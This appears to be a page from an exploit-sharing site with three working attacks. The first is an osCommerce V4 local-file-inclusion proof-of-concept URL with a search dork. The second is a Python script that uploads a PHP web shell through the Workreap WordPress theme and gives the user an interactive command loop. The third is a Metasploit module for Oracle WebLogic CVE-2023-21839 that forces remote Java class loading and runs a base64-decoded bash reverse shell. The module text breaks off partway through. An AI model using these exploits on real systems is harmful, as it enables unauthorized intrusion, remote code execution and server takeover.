Latest exploits :: CodePwn

<pre><code>==================================================================================================================================== | # Title : oscommerce V4 LFI Vulnerability | | # Author : indoushka | | # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 102.0.1(64-bit) | | # Vendor : https://www.oscommerce.com/ | | # Dork : | ==================================================================================================================================== poc : [+] Dorking İn Google Or Other Search Enggine. [+] Line 62 : https://github.com/osCommerce/osCommerce-V4/blob/main/install/index.php [+] http://locqlhost/install/index.php?rootPath=../../includes/local/configure.php Greetings to :========================================================================================================================= | jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm* moncet | | ======================================================================================================================================= </code></pre>

<pre><code># Exploit Title: WordPress Theme Workreap 2.2.2 - Unauthenticated Upload Leading to Remote Code Execution # Dork: inurl:/wp-content/themes/workreap/ # Date: 2023-06-01 # Category : Webapps # Vendor Homepage: https://themeforest.net/item/workreap-freelance-marketplace-wordpress-theme/23712454 # Exploit Author: Mohammad Hossein Khanaki(Mr_B0hl00l) # Version: 2.2.2 # Tested on: Windows/Linux # CVE: CVE-2021-24499 import requests import random import string import sys def usage(): banner = ''' NAME: WordPress Theme Workreap 2.2.2 - Unauthenticated Upload Leading to Remote Code Execution usage: python3 Workreap_rce.py <URL> example for linux : python3 Workreap_rce.py https://www.exploit-db.com example for Windows : python Workreap_rce.py https://www.exploit-db.com ''' print(f"{BOLD}{banner}{ENDC}") def upload_file(target): print("[ ] Uploading File") url = target + "/wp-admin/admin-ajax.php" body = "<?php echo '" + random_str + "';?>" data = {"action": "workreap_award_temp_file_uploader"} response = requests.post(url, data=data, files={"award_img": (file_name, body)}) if '{"type":"success",' in response.text: print(f"{GREEN}[+] File uploaded successfully{ENDC}") check_php_file(target) else: print(f"{RED}[+] File was not uploaded{ENDC}") def check_php_file(target): response_2 = requests.get(target + "/wp-content/uploads/workreap-temp/" + file_name) if random_str in response_2.text: print(f"{GREEN}The uploaded PHP file executed successfully.{ENDC}") print("path: " + target +"/wp-content/uploads/workreap-temp/" + file_name) question = input(f"{YELLOW}Do you want get RCE? [Y/n] {ENDC}") if question == "y" or question == "Y": print("[ ] Uploading Shell ") get_rce(target) else: usage() else: print(f"{RED}[+] PHP file not allowed on this website. Try uploading another file.{ENDC}") def get_rce(target): file_name = ''.join(random.choices(string.ascii_lowercase + string.digits, k=8)) + ".php" body = '<?php $command = $_GET["c"]; $output = shell_exec($command); echo "<pre>\n$output</pre>";?>' data = {"action": "workreap_award_temp_file_uploader"} response_3 = requests.post(target + '/wp-admin/admin-ajax.php', data=data, files={"award_img": (file_name, body)}) print(f"{GREEN}[+] Shell uploaded successfully{ENDC}") while True: command = input(f"{YELLOW}Enter a command to execute: {ENDC}") print(f"Shell Path : {target}'/wp-content/uploads/workreap-temp/{BOLD}{file_name}?c={command}{ENDC}") response_4 = requests.get(target + '/wp-content/uploads/workreap-temp/' + file_name + f"?c={command}") print(f"{GREEN}{response_4.text}{ENDC}") if __name__ == "__main__": global GREEN , RED, YELLOW, BOLD, ENDC GREEN = '\033[92m' RED = '\033[91m' YELLOW = '\033[93m' BOLD = '\033[1m' ENDC = '\033[0m' file_name = ''.join(random.choices(string.ascii_lowercase + string.digits, k=8)) + ".php" random_str = ''.join(random.choices(string.ascii_lowercase + string.digits, k=8)) try: upload_file(sys.argv[1]) except IndexError: usage() except requests.exceptions.RequestException as e: print("\nPlease Enter Valid Address") </code></pre>

<pre><code>## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp include Exploit::Remote::JndiInjection prepend Msf::Exploit::Remote::AutoCheck # Page 19 of https://docs.oracle.com/cd/E13211_01/wle/wle42/corba/giop.pdf explains these codes. GIOP_REQUEST = 0 GIOP_REPLY = 1 GIOP_CANCEL_REQUEST = 2 GIOP_LOCATE_REQUEST = 3 GIOP_LOCATE_REPLY = 4 GIOP_CLOSE_CONNECTION = 5 GIOP_MESSAGE_ERROR = 6 GIOP_FRAGMENT = 7 # Taken from page 561 of https://www.omg.org/spec/CORBA/3.0.3/PDF SYNCSCOPE_NONE = 0 SYNCSCOPE_WITH_TRANSPORT = 0 SYNCSCOPE_WITH_SERVER = 1 SYNCSCOPE_WITH_TARGET = 3 # Taken from page 588 of https://www.omg.org/spec/CORBA/3.0.3/PDF ADDR_DISPOSITION_KEYADDR = 0 ADDR_DISPOSITION_PROFILE_ADDR = 1 ADDR_DISPOSITION_REFERENCE_ADDR = 2 # GIOP Protocol RequestReply Header Codes # Type is ReplyStatusType -> Taken from page 24 of https://docs.oracle.com/cd/E13211_01/wle/wle42/corba/giop.pdf NO_EXCEPTION = 0 USER_EXCEPTION = 1 SYSTEM_EXCEPTION = 2 LOCATION_FORWARD = 3 # GIOP Protocol LocateReply Header Codes # Taken from page 28 of https://docs.oracle.com/cd/E13211_01/wle/wle42/corba/giop.pdf UNKNOWN_OBJECT = 0 OBJECT_HERE = 1 OBJECT_FORWARD = 2 def initialize(info = {}) super( update_info( info, 'Name' => 'Oracle Weblogic PreAuth Remote Command Execution via ForeignOpaqueReference IIOP Deserialization', 'License' => MSF_LICENSE, 'Author' => [ '4ra1n', # From X-Ray Security Team of Chaitin Tech. The researcher who originally found this vulnerability and wrote the PoC. '14m3ta7k', # Of gobysec team. Wrote the writeup and analysis of this vulnerability. 'Grant Willcox' # @tekwizz123 This Metasploit module ], 'Description' => %q{ Oracle Weblogic 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0 prior to the Jan 2023 security update are vulnerable to an unauthenticated remote code execution vulnerability due to a post deserialization vulnerability. This occurs when an attacker serializes a "ForeignOpaqueReference" class object, deserializes it on the target, and then post deserialization, calls the object's "getReferent()" method, which will make use of the "ForeignOpaqueReference" class's "remoteJNDIName" variable, which is under the attackers control, to do a remote loading of the JNDI address specified by "remoteJNDIName" via the "lookup()" function. This can in turn lead to a deserialization vulnerability whereby an attacker supplies the address of a HTTP server hosting a malicious Java class file, which will then be loaded into the Oracle Weblogic process's memory and an attempt to create a new instance of the attacker's class will be made. Attackers can utilize this to execute arbitrary Java code during the instantiation of the object, thereby getting remote code execution as the "oracle" user. This module exploits this vulnerability to trigger the JNDI connection to a LDAP server we control. The LDAP server will then respond with a remote reference response that points to a HTTP server that we control, where the malicious Java class file will be hosted. Oracle Weblogic will then make a HTTP request to retrieve the malicious Java class file, at which point our HTTP server will serve up the malicious class file and Oracle Weblogic will instantiate an instance of that class, granting us RCE as the "oracle" user. This vulnerability was exploited in the wild as noted by KEV on May 1st 2023: https://www.fortiguard.com/outbreak-alert/oracle-weblogic-server-vulnerability }, 'References' => [ ['CVE', '2023-21839'], ['URL', 'https://www.oracle.com/security-alerts/cpujan2023.html'], # Advisory ['URL', 'https://github.com/gobysec/Weblogic/blob/main/WebLogic_CVE-2023-21931_en_US.md'], # Writeup ['URL', 'https://github.com/gobysec/Weblogic/blob/main/Weblogic_Serialization_Vulnerability_and_IIOP_Protocol_en_US.md'], # Additional Info on Weblogic and IIOP ['URL', 'https://github.com/4ra1n/CVE-2023-21839'], # PoC ['URL', 'https://www.fortiguard.com/outbreak-alert/oracle-weblogic-server-vulnerability'] # EITW alert. ], 'Privileged' => false, 'Targets' => [ [ 'Linux', { 'Platform' => %w[unix linux], 'Arch' => [ARCH_CMD], 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => '2023-01-17', 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } ) ) register_options( [ Opt::RPORT(7001), OptPort.new('HTTP_SRVPORT', [true, 'The HTTP server port', 8080]) ] ) end def get_weblogic_version socket = connect http_request = Rex::Proto::Http::ClientRequest.new( { 'uri' => '/console/login/LoginForm.jsp', 'vhost' => datastore['RHOST'], 'port' => datastore['RPORT'] } ).to_s socket.put(http_request.to_s) res = socket.get fail_with(Failure::UnexpectedReply, 'Could not get the Weblogic login page') unless res # Disconnect as we will want a new socket for future connections. disconnect # Do the regex on the result to find the version. version = res.match(/WebLogic Server Version: ((?:\d{1,3}\.){4}\d{1,3})/) fail_with(Failure::UnexpectedReply, 'Could not get the version information from the Weblogic login page') if version.nil? version = version[1] Rex::Version.new(version) end def giop_header(msg_type) header = '' header << 'GIOP' # Magic header << "\x01\x02" # Version, in this case 1.2 of the GIOP protocol. header << "\x00" # Message flags case msg_type when GIOP_REQUEST, GIOP_CANCEL_REQUEST, GIOP_LOCATE_REQUEST, GIOP_MESSAGE_ERROR, GIOP_FRAGMENT header << [msg_type].pack('C') else fail_with(Failure::BadConfig, 'Attempt was made to send a packet with an invalid GIOP header!') end header << 'LENGTH_REPLACE_ME' end # LocateRequest packets are used to determine whether an object reference is valid, # whether the current server is capable of directly receiving request for the object reference, # and if not, to what address the request for the object should be sent. # # Taken from https://docs.oracle.com/cd/E13211_01/wle/wle42/corba/giop.pdf page 27 def giop_locate_request_packet(keyaddress = 'NameService') header = giop_header(GIOP_LOCATE_REQUEST) # GIOP Header with LocateRequest attribute data = '' packet = '' @request_id = 1 if @request_id.nil? @request_id += 1 data << [@request_id].pack('N') # Request ID data << [0].pack('n') # TargetAddress, 2 byte field data << [0].pack('n') # Padding, 2 bytes data << [keyaddress.length].pack('N') # Key Address Length data << keyaddress packet << header packet << data packet.gsub!('LENGTH_REPLACE_ME', [data.length].pack('N')) packet end def create_service_context(vscid, scid, context_data, endian = 0) context = '' seq_length = context_data.length + 1 # Add 1 to account for the endian byte being part of the sequence length. context << vscid # 3 byte long VSCID context << [scid].pack('C') # 1 byte long SCID context << [seq_length].pack('N') # 4 byte long sequence length context << [endian].pack('C') # 1 byte indicator of endianness. 0 is big endian, 1 is little endian. context << context_data context end def giop_rebind_any_packet(sync_scope, addr_disposition, key_address, stub_data, context_list_length) header = giop_header(GIOP_REQUEST) # GIOP Header with REQUEST attribute data = '' packet = '' @request_id = 1 if @request_id.nil? @request_id += 1 data << [@request_id].pack('N') # Request ID data << [sync_scope].pack('C') # Response flags data << "\x00\x00\x00" # Reserved data << [addr_disposition].pack('n') # TargetAddress, 2 bytes data << [0].pack('n') # Two bytes of padding. data << [key_address.length].pack('N') # Key Address Length data << key_address data << [11].pack('N') # Operation Length + 1 for a NULL byte to terminate the operation name? data << "rebind_any\x00" # Request Operation service_context_list = '' service_context_list << "\x00" # Seems we have one byte of padding? Lets account for this. service_context_list << [context_list_length].pack('N') # Sequence Length service_context_list << '{SERVICE_CONTEXT_LIST}' @java_class_name = 'PayloadRuns' ldap_uri = jndi_string(@java_class_name) stub_data += [ldap_uri.length].pack('C') + ldap_uri data << service_context_list data << stub_data packet << header packet << data packet end def goip_resolve_request_packet(sync_scope, addr_disposition, key_address, context_list_length, cos_naming_disector, seq_len) header = giop_header(GIOP_REQUEST) # GIOP Header with REQUEST attribute data = '' packet = '' @request_id = 1 if @request_id.nil? @request_id += 1 data << [@request_id].pack('N') # Request ID data << [sync_scope].pack('C') # Response flags data << "\x00\x00\x00" # Reserved data << [addr_disposition].pack('n') # TargetAddress, 2 bytes data << [0].pack('n') # Two bytes of padding. data << [key_address.length].pack('N') # Key Address Length data << key_address data << [8].pack('N') # Operation Length + 1 for a NULL byte to terminate the operation name? data << "resolve\x00" # Request Operation service_context_list = '' service_context_list << [context_list_length].pack('N') # Sequence Length service_context_list << '{SERVICE_CONTEXT_LIST}' cos_data = '' if cos_naming_disector cos_data << "\x00\x00\x00\x00" cos_data << [seq_len].pack('N') # Sequence length name_component = "test\x00" cos_data << [name_component.length].pack('N') # Name component length including NULL byte. cos_data << name_component cos_data << "\x00\x00\x00\x00\x00\x00\x01\x00" # Unknown data, Wireshark could not decode this. end data << service_context_list data << cos_data packet << header packet << data packet end def check begin @version = get_weblogic_version fail_with(Failure::UnexpectedReply, 'Could not find the target Weblogic version in the t3 response!') if @version.nil? rescue ::Timeout::Error fail_with(Failure::TimeoutExpired, 'Was unable to connect to target. Connection timed out.') rescue Rex::AddressInUse fail_with(Failure::BadConfig, 'Address is currently in use') rescue Rex::HostUnreachable fail_with(Failure::Unreachable, 'Target host is unreachable!') rescue Rex::ConnectionRefused fail_with(Failure::Disconnected, 'Target refused connection!') rescue ::Errno::ETIMEDOUT, Rex::ConnectionTimeout fail_with(Failure::TimeoutExpired, 'Was unable to connect to target. Connection timed out.') end if @version.between?(Rex::Version.new('12.2.1.3.0'), Rex::Version.new('12.2.1.3.9999')) return CheckCode::Vulnerable('Target is a Oracle WebServer 12.2.1.3 server, and is vulnerable!') elsif @version.between?(Rex::Version.new('12.2.1.4.0'), Rex::Version.new('12.2.1.4.9999')) return CheckCode::Vulnerable('Target is a Oracle WebServer 12.2.1.4 server, and is vulnerable!') elsif @version.between?(Rex::Version.new('14.1.1.0.0'), Rex::Version.new('14.1.1.0.9999')) return CheckCode::Vulnerable('Target is a Oracle WebServer 14.1.1.0 server, and is vulnerable!') else return CheckCode::Safe('Target is not a vulnerable version of Oracle WebServer!') end end # HTTP Server Related Functions and Overrides # Returns the configured URIPATH along with the path to the Java class we are serving def resource_uri "#{datastore['URIPATH']}/#{@java_class_name}.class" end # Want to just point this to the base of our install. WebLogic will append *CLASS NAME*.class to the end of # this URL when it tries to fetch the class to be loaded and instantiated. def ldap_url_string "http#{datastore['SSL'] ? 's' : ''}://#{Rex::Socket.to_authority(datastore['SRVHOST'], datastore['HTTP_SRVPORT'])}/" end # # Handle the HTTP request and return a response. Code borrowed from: # msf/core/exploit/http/server.rb # def start_http_service(opts = {}) # Start a new HTTP server @http_service = Rex::ServiceManager.start( Rex::Proto::Http::Server, (opts['ServerPort'] || bindport).to_i, opts['ServerHost'] || bindhost, datastore['SSL'], { 'Msf' => framework, 'MsfExploit' => self }, opts['Comm'] || _determine_server_comm(opts['ServerHost'] || bindhost), datastore['SSLCert'], datastore['SSLCompression'], datastore['SSLCipher'], datastore['SSLVersion'] ) @http_service.server_name = datastore['HTTP::server_name'] # Default the procedure of the URI to on_request_uri if one isn't # provided. uopts = { 'Proc' => method(:on_request_uri), 'Path' => resource_uri }.update(opts['Uri'] || {}) proto = (datastore['SSL'] ? 'https' : 'http') netloc = opts['ServerHost'] || bindhost http_srvport = (opts['ServerPort'] || bindport).to_i print_status("Serving Java code on: #{proto}://#{Rex::Socket.to_authority(netloc, http_srvport)}#{uopts['Path']}") # Add path to resource @service_path = uopts['Path'] @http_service.add_resource(uopts['Path'], uopts) end # # Kill HTTP service (shut it down and clear resources) # def cleanup # Stop the LDAP server cleanup_service # Clean and stop HTTP server if @http_service begin @http_service.remove_resource(datastore['URIPATH']) @http_service.deref @http_service.stop @http_service = nil rescue StandardError => e print_error("Failed to stop http server due to #{e}") end end super end # # Handle HTTP requests and responses # def on_request_uri(cli, request) agent = request.headers['User-Agent'] vprint_good("Payload requested by #{cli.peerhost} using #{agent}") class_raw = File.binread(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-21839', 'PayloadRuns.class')) base64_payload = Rex::Text.encode_base64(payload.encoded) exec_command_length = 'bash -c {echo,PAYLOAD}|{base64,-d}|{bash,-i}'.length command_length = (exec_command_length - 'PAYLOAD'.length) + base64_payload.length class_raw = class_raw.gsub("\x00\x2C", [command_length].pack('n')) class_raw = class_raw.gsub('PAYLOAD', base64_payload) send_response(cli, 200, 'OK', class_raw) end # # Create an HTTP response and then send it # def send_response(cli, code, message = 'OK', html = '') proto = Rex::Proto::Http::DefaultProtocol res = Rex::Proto::Http::Response.new(code, message, proto) res.body = html cli.send_response(res) end # LDAP Server Overrides def build_ldap_search_response_payload # Always do a remote load # Note that for reasons unknown this URL cannot be anything but the base URL of the HTTP server. # You can add anchor tags using # to the URL but thats it. build_ldap_search_response_payload_remote(ldap_url_string, @java_class_name) end # Main Exploit def exploit if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0 fail_with(Failure::BadConfig, 'SRVHOST must be set to a routable address!') end if @version.blank? @version = get_weblogic_version end # Step 1 - Make T3 connection to start IIOP connection process, and read response. socket = connect print_status('1. Making T3 connection...') socket.put("t3 9.2.0.0\nAS:255\nHL:92\nMS:10000000\nPU:t3://#{Rex::Socket.to_authority(datastore['RHOST'], datastore['RPORT'])}\n\n") _buf = socket.get disconnect print_good('Made T3 connection!') # Step 2 - Send first GIOP LocateRequest packet print_status('2. Sending first GIOP LocateRequest packet') # Make a GIOP LocateRequest packet request and read response. socket = connect socket.put(giop_locate_request_packet) locate_buf = socket.get disconnect print_good('Step 2 complete!') reply_status = locate_buf[16..19].unpack('N')&.dig(0) if reply_status != OBJECT_FORWARD fail_with(Failure::UnexpectedReply, 'Target did not respond with the expected OBJECT_FORWARD response to our GIOP LocateRequest packet!') end # Calculate the target port # Start at offset 0x60 which will be inside the GIOP's LocateReply message, # and will be where the IP address is located in the IOR response. port_offset = 0x60 # Starting at this offset above, loop until we hit a zero byte in the IOR buffer. # This works because the PORT number is represented as a 4 byte long number, aka 32 bits, # and the upper part will never be used. Either that or there is a \x00\x00 padding section # between the IP address and the port. loop do if locate_buf[port_offset] != "\x00" port_offset += 0x1 else break end end # If port_offset is too large by this point then we have likely hit an error and should exit if port_offset > 10240 fail_with(Failure::UnexpectedReply, 'Response from server when calculating port_offset was malformed!') end # Now, loop until we hit a non-zero byte in the IOR buffer. This should # place at the location of the port part of the IP address that is embedded in the IOR message. loop do if locate_buf[port_offset] == "\x00" port_offset += 0x1 else break end end port = [] port.append(locate_buf[port_offset]) port_offset += 1 port.append(locate_buf[port_offset]) # Reformulate the port number from the array so we can get the actual port the target server is expecting us to use. final_port = port[1].bytes[0] | (port[0].bytes[0] << 8) # Fail if the received port is not the one we expected. if final_port != datastore['RPORT'] fail_with(Failure::UnexpectedReply, "Target did not respond with the same RPORT in the GIOP LocateReply message as the one we expected. Expected #{datastore['RPORT']} but got #{final_port}") end lt = port_offset - 0x60 # This will point us 1 byte into the request ID field of the GIOP LocateReply message. foff = 0x60 + lt + 0x75 # This points us at some point within the IOR object that is just before the bytes V~QU5z�U loop do if locate_buf[foff] == "\x00" foff += 0x1 else break end end key1 = locate_buf[foff...foff + 8] key2 = "\xff\xff\xff\xff" + locate_buf[foff + 4...foff + 8] if @version >= Rex::Version.new('12') && @version < Rex::Version.new('13') wls_key_1 = "\x00\x42\x45\x41\x08\x01\x03\x00\x00\x00\x00\x0c\x41\x64\x6d\x69\x6e\x53\x65\x72\x76\x65\x72\x00\x00\x00\x00\x00\x00\x00\x00\x33\x49" \ "\x44\x4c\x3a\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x72\x62\x61\x2f\x63\x6f\x73\x2f\x6e\x61\x6d\x69\x6e\x67\x2f\x4e\x61\x6d\x69\x6e\x67\x43" \ "\x6f\x6e\x74\x65\x78\x74\x41\x6e\x79\x3a\x31\x2e\x30\x00\x00\x00\x00\x00\x02\x38\x00\x00\x00\x00\x00\x00\x01\x42\x45\x41\x2c\x00\x00\x00\x10\x00" \ "\x00\x00\x00\x00\x00\x00\x00{{key1}}" wls_key_2 = "\x00\x42\x45\x41\x08\x01\x03\x00\x00\x00\x00\x0c\x41\x64\x6d\x69\x6e\x53\x65\x72\x76\x65\x72\x00\x00\x00\x00\x00\x00\x00\x00\x33\x49" \ "\x44\x4c\x3a\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x72\x62\x61\x2f\x63\x6f\x73\x2f\x6e\x61\x6d\x69\x6e\x67\x2f\x4e\x61\x6d\x69\x6e\x67\x43" \ "\x6f\x6e\x74\x65\x78\x74\x41\x6e\x79\x3a\x31\x2e\x30\x00\x00\x00\x00\x00\x04{{key3}}\x00\x00\x00\x01\x42\x45\x41\x2c\x00\x00\x00\x10\x00" \ "\x00\x00\x00\x00\x00\x00\x00{{key1}}" elsif @version >= Rex::Version.new('14') && @version < Rex::Version.new('15') wls_key_1 = "\x00\x42\x45\x41\x08\x01\x03\x00\x00\x00\x00\x0c\x41\x64" \ "\x6d\x69\x6e\x53\x65\x72\x76\x65\x72\x00\x00\x00\x00\x00\x00\x00\x00\x33\x49\x44\x4c\x3a\x77\x65\x62\x6c" \ "\x6f\x67\x69\x63\x2f\x63\x6f\x72\x62\x61\x2f\x63\x6f\x73\x2f\x6e\x61\x6d\x69\x6e\x67\x2f\x4e\x61\x6d" \ "\x69\x6e\x67\x43\x6f\x6e\x74\x65\x78\x74\x41\x6e\x79\x3a\x31\x2e\x30\x00\x00\x00\x00\x00\x02\x38\x00\x00" \ "\x00\x00\x00\x00\x01\x42\x45\x41\x2e\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00{{key1}}" wls_key_2 = "\x00\x42\x45\x41\x08\x01\x03\x00\x00\x00\x00\x0c\x41\x64\x6d\x69\x6e\x53\x65\x72\x76\x65" \ "\x72\x00\x00\x00\x00\x00\x00\x00\x00\x33\x49\x44\x4c\x3a\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x72" \ "\x62\x61\x2f\x63\x6f\x73\x2f\x6e\x61\x6d\x69\x6e\x67\x2f\x4e\x61\x6d\x69\x6e\x67\x43\x6f\x6e\x74\x65" \ "\x78\x74\x41\x6e\x79\x3a\x31\x2e\x30\x00\x00\x00\x00\x00\x04{{key3}}\x00\x00\x00\x01\x42\x45\x41" \ "\x2e\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00{{key1}}" else fail_with(Failure::NoTarget, 'Target is not running a supported version of Oracle Weblogic that can be targeted!') end wls_key_1.gsub!('{{key1}}', key1) # Step 3 - Make a rebindAny request key_addr = wls_key_1 stub_data = "\x00\x00\x00\x01\x00\x00\x00\x04\x74\x65\x73\x74\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x1d\x00\x00\x00\x1c\x00\x00\x00\x00\x00\x00\x00\x01" \ "\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7f\xff\xff\x02\x00\x00\x00\x54\x52\x4d\x49\x3a\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x6a\x6e\x64\x69\x2e\x69" \ "\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x46\x6f\x72\x65\x69\x67\x6e\x4f\x70\x61\x71\x75\x65\x52\x65\x66\x65\x72\x65\x6e\x63\x65\x3a\x44\x32\x33\x37\x44\x39\x31\x43\x42\x32\x46\x30\x46\x36\x38" \ "\x41\x3a\x33\x44\x32\x31\x35\x32\x37\x46\x45\x44\x35\x39\x36\x45\x46\x31\x00\x00\x00\x00\x00\x7f\xff\xff\x02\x00\x00\x00\x23\x49\x44\x4c\x3a\x6f\x6d\x67\x2e\x6f\x72\x67\x2f\x43\x4f\x52\x42" \ "\x41\x2f\x57\x53\x74\x72\x69\x6e\x67\x56\x61\x6c\x75\x65\x3a\x31\x2e\x30\x00\x00\x00\x00\x00" socket = connect packet = giop_rebind_any_packet(SYNCSCOPE_WITH_TARGET, ADDR_DISPOSITION_KEYADDR, key_addr, "\x00\x00\x00\x00" + stub_data, 6) context_data = '' @service_context_0 = create_service_context("\x00\x00\x00", 5, "\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x0d\x31\x37\x32\x2e\x32\x36\x2e\x31\x31\x32\x2e\x31\x00\x00\xec\x5b") @service_context_1 = create_service_context("\x00\x00\x00", 1, "\x00\x00\x00\x00\x01\x00\x20\x05\x01\x00\x01") @service_context_2 = create_service_context("\x42\x45\x41", 0, "\x0a\x03\x01") context_data << @service_context_0 context_data << @service_context_1 context_data << create_service_context("\x00\x00\x00", 6, "\x00\x00\x00\x00\x00\x00\x28\x49\x44\x4c\x3a\x6f\x6d\x67\x2e\x6f\x72\x67\x2f\x53\x65\x6e\x64\x69\x6e\x67\x43" \ "\x6f\x6e\x74\x65\x78\x74\x2f\x43\x6f\x64\x65\x42\x61\x73\x65\x3a\x31\x2e\x30\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xb8\x00\x01\x02\x00\x00\x00\x00" \ "\x0d\x31\x37\x32\x2e\x32\x36\x2e\x31\x31\x32\x2e\x31\x00\x00\xec\x5b\x00\x00\x00\x64\x00\x42\x45\x41\x08\x01\x03\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x28\x49\x44\x4c\x3a\x6f\x6d\x67\x2e\x6f\x72\x67\x2f\x53\x65\x6e\x64\x69\x6e\x67\x43\x6f\x6e\x74\x65\x78\x74\x2f\x43\x6f\x64\x65\x42\x61" \ "\x73\x65\x3a\x31\x2e\x30\x00\x00\x00\x00\x03\x31\x32\x00\x00\x00\x00\x00\x01\x42\x45\x41\x2a\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x5e\xed\xaf\xde" \ "\xbc\x0d\x22\x70\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x2c\x00\x00\x00\x00\x00\x01\x00\x20\x00\x00\x00\x03\x00\x01\x00\x20\x00\x01\x00\x01\x05\x01\x00" \ "\x01\x00\x01\x01\x00\x00\x00\x00\x03\x00\x01\x01\x00\x00\x01\x01\x09\x05\x01\x00\x01") context_data << create_service_context("\x00\x00\x00", 15, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00") context_data << create_service_context("\x42\x45\x41", 3, "\x00\x00\x00\x00\x00\x00\x00" + key2 + "\x00\x00\x00\x00") context_data << @service_context_2 packet.gsub!('{SERVICE_CONTEXT_LIST}', context_data) # To find the true message size: # 1. Subtract an extra 12 bytes for GIOP header. # 2. Then subtract length of the LENGTH_REPLACE_ME string. # 3. Then add 4 to account for the 4 bytes that will now be occupied by the length field. message_size = packet.length - ('LENGTH_REPLACE_ME'.length + 12) + 4 packet.gsub!('LENGTH_REPLACE_ME', [message_size].pack('N')) print_status('3. Sending rebindAny request!') socket.put(packet) rebind_any_buf = socket.get disconnect print_good('Step 3 complete!') reply_status_code = rebind_any_buf[16..19].unpack('N')&.dig(0) if reply_status_code != LOCATION_FORWARD fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected LOCATION_FORWARD!") end start_off = 0x64 + lt + 0xc0 + datastore['RHOST'].length + # SendingContextRuntime 0xac + lt + # IOR ProfileHost ProfilePort 0x5d # ObjectKey Prefix while rebind_any_buf[start_off] != 0x32 if start_off > 0x2710 break end start_off += 1 end if start_off > 0x2710 key3 = "\x32\x38\x39\x00" else key3 = rebind_any_buf[start_off...start_off + 4] end wls_key_2.gsub!('{{key3}}', key3) wls_key_2.gsub!('{{key1}}', key1) # Step 4 - rebind_any Request Again??? socket = connect key_addr = wls_key_2 packet = giop_rebind_any_packet(SYNCSCOPE_WITH_TARGET, ADDR_DISPOSITION_KEYADDR, key_addr, stub_data, 4) context_data = '' context_data << @service_context_0 context_data << @service_context_1 context_data << create_service_context("\x42\x45\x41", 3, "\x00\x00\x00\x00\x00\x00\x00" + key2 + "\x00\x00\x00\x00") context_data << @service_context_2 packet.gsub!('{SERVICE_CONTEXT_LIST}', context_data) # To find the true message size: # 1. Subtract an extra 12 bytes for GIOP header. # 2. Then subtract length of the LENGTH_REPLACE_ME string. # 3. Then add 4 to account for the 4 bytes that will now be occupied by the length field. message_size = packet.length - ('LENGTH_REPLACE_ME'.length + 12) + 4 packet.gsub!('LENGTH_REPLACE_ME', [message_size].pack('N')) print_status('4. Sending second rebindAny request!') socket.put(packet) rebind_any_buf_2 = socket.get disconnect print_good('Step 4 complete!') reply_status_code = rebind_any_buf_2[16..19].unpack('N')&.dig(0) if reply_status_code != NO_EXCEPTION fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected NO_EXCEPTION!") end # Step 5 - Send second GIOP LocateRequest packet print_status('5. Sending second GIOP LocateRequest packet') socket = connect socket.put(giop_locate_request_packet) locate_buf_two = socket.get disconnect print_good('Step 5 complete!') reply_status_code = locate_buf_two[16..19].unpack('N')&.dig(0) if reply_status_code != OBJECT_FORWARD fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected OBJECT_FORWARD!") end # Step 6 - Resolve packet #1 with wls_key_1 key_addr = wls_key_1 packet = goip_resolve_request_packet(SYNCSCOPE_WITH_TARGET, ADDR_DISPOSITION_KEYADDR, key_addr, 4, true, 1) context_data = '' context_data << @service_context_0 context_data << @service_context_1 context_data << create_service_context("\x42\x45\x41", 3, "\x00\x00\x00\x00\x00\x00\x00" + key2 + "\x00\x00\x00\x00") context_data << @service_context_2 packet.gsub!('{SERVICE_CONTEXT_LIST}', context_data) # To find the true message size: # 1. Subtract an extra 12 bytes for GIOP header. # 2. Then subtract length of the LENGTH_REPLACE_ME string. # 3. Then add 4 to account for the 4 bytes that will now be occupied by the length field. message_size = packet.length - ('LENGTH_REPLACE_ME'.length + 12) + 4 packet.gsub!('LENGTH_REPLACE_ME', [message_size].pack('N')) print_status('6. Sending resolve packet #1 with wls_key_1') socket = connect socket.put(packet) resolve_packet_wls_key_1 = socket.get disconnect print_good('Step 6 complete!') reply_status_code = resolve_packet_wls_key_1[16..19].unpack('N')&.dig(0) if reply_status_code != LOCATION_FORWARD fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected LOCATION_FORWARD!") end # Step 7 - Resolve packet #2 with wls_key_2 key_addr = wls_key_2 packet = goip_resolve_request_packet(SYNCSCOPE_WITH_TARGET, ADDR_DISPOSITION_KEYADDR, key_addr, 4, true, 1) context_data = '' context_data << @service_context_0 